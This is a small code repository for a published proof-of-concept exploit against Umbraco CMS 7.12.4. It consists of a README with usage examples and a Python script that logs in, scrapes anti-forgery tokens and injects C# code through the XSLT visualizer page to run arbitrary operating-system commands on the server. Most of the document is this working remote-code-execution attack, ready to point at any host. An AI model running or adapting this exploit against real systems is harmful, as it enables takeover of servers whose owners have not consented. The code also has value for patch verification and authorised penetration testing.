├── LICENSE ├── README.md ├── exploit.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Alexandre ZANNI 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Umbraco RCE exploit / PoC 2 | 3 | > Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution 4 | 5 | [[EDB-49488]](https://www.exploit-db.com/exploits/49488) [[PacketStorm](https://packetstormsecurity.com/files/158712/Umbraco-CMS-7.12.4-Remote-Code-Execution.html)] [[WLB-2020080012](https://cxsecurity.com/issue/WLB-2020080012)] 6 | 7 | ## Usage 8 | 9 | ``` 10 | $ python exploit.py -h 11 | usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS] 12 | 13 | Umbraco authenticated RCE 14 | 15 | optional arguments: 16 | -h, --help show this help message and exit 17 | -u USER, --user USER username / email 18 | -p PASS, --password PASS password 19 | -i URL, --host URL root URL 20 | -c CMD, --command CMD command 21 | -a ARGS, --arguments ARGS arguments 22 | ``` 23 | 24 | Examples: 25 | 26 | ``` 27 | $ python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig 28 | $ python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c powershell.exe -a '-NoProfile -Command ls' 29 | ``` 30 | 31 | ## Requirements 32 | 33 | - [Beautiful Soup](https://www.crummy.com/software/BeautifulSoup/index.html) 34 | - [Requests](https://requests.readthedocs.io/en/master/) 35 | 36 | Example for ArchLinux: 37 | 38 | ``` 39 | pacman -S python-beautifulsoup4 python-requests 40 | ``` 41 | 42 | Example using pip: 43 | 44 | ``` 45 | pip3 install -r requirements.txt 46 | ``` 47 | 48 | ## Reference 49 | 50 | This is a better re-write of [EDB-ID-46153](https://www.exploit-db.com/exploits/46153) using arguments (instead of harcoded values) and with stdout display. 51 | 52 | Tested with python 3.8. 53 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | # Exploit Title: Umbraco CMS - Authenticated Remote Code Execution 2 | # Date: 2020-03-28 3 | # Exploit Author: Alexandre ZANNI (noraj) 4 | # Based on: https://www.exploit-db.com/exploits/46153 5 | # Vendor Homepage: http://www.umbraco.com/ 6 | # Software Link: https://our.umbraco.com/download/releases 7 | # Version: 7.12.4 8 | # Category: Webapps 9 | # Tested on: Windows IIS 10 | # Example: python exploit.py -u admin@example.org -p password123 -i 'http://10.0.0.1' -c ipconfig 11 | 12 | import requests 13 | import re 14 | import argparse 15 | 16 | from bs4 import BeautifulSoup 17 | 18 | parser = argparse.ArgumentParser(prog='exploit.py', 19 | description='Umbraco authenticated RCE', 20 | formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=80)) 21 | parser.add_argument('-u', '--user', metavar='USER', type=str, 22 | required=True, dest='user', help='username / email') 23 | parser.add_argument('-p', '--password', metavar='PASS', type=str, 24 | required=True, dest='password', help='password') 25 | parser.add_argument('-i', '--host', metavar='URL', type=str, required=True, 26 | dest='url', help='root URL') 27 | parser.add_argument('-c', '--command', metavar='CMD', type=str, required=True, 28 | dest='command', help='command') 29 | parser.add_argument('-a', '--arguments', metavar='ARGS', type=str, required=False, 30 | dest='arguments', help='arguments', default='') 31 | args = parser.parse_args() 32 | 33 | # Payload 34 | payload = """\ 35 | public string xml() { string cmd = "%s"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "%s"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \ 36 | """ % (args.arguments, args.command) 37 | 38 | login = args.user 39 | password = args.password 40 | host = args.url 41 | 42 | # Process Login 43 | url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" 44 | loginfo = { "username": login, "password": password} 45 | s = requests.session() 46 | r2 = s.post(url_login,json=loginfo) 47 | 48 | # Go to vulnerable web page 49 | url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx" 50 | r3 = s.get(url_xslt) 51 | 52 | soup = BeautifulSoup(r3.text, 'html.parser') 53 | VIEWSTATE = soup.find(id="__VIEWSTATE")['value'] 54 | VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'] 55 | UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'] 56 | headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN} 57 | data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE, 58 | "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR, 59 | "ctl00$body$xsltSelection": payload, 60 | "ctl00$body$contentPicker$ContentIdValue": "", 61 | "ctl00$body$visualizeDo": "Visualize+XSLT" } 62 | 63 | # Launch the attack 64 | r4 = s.post(url_xslt, data=data, headers=headers) 65 | # Filter output 66 | soup = BeautifulSoup(r4.text, 'html.parser') 67 | CMDOUTPUT = soup.find(id="result").getText() 68 | print(CMDOUTPUT) 69 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4 2 | requests --------------------------------------------------------------------------------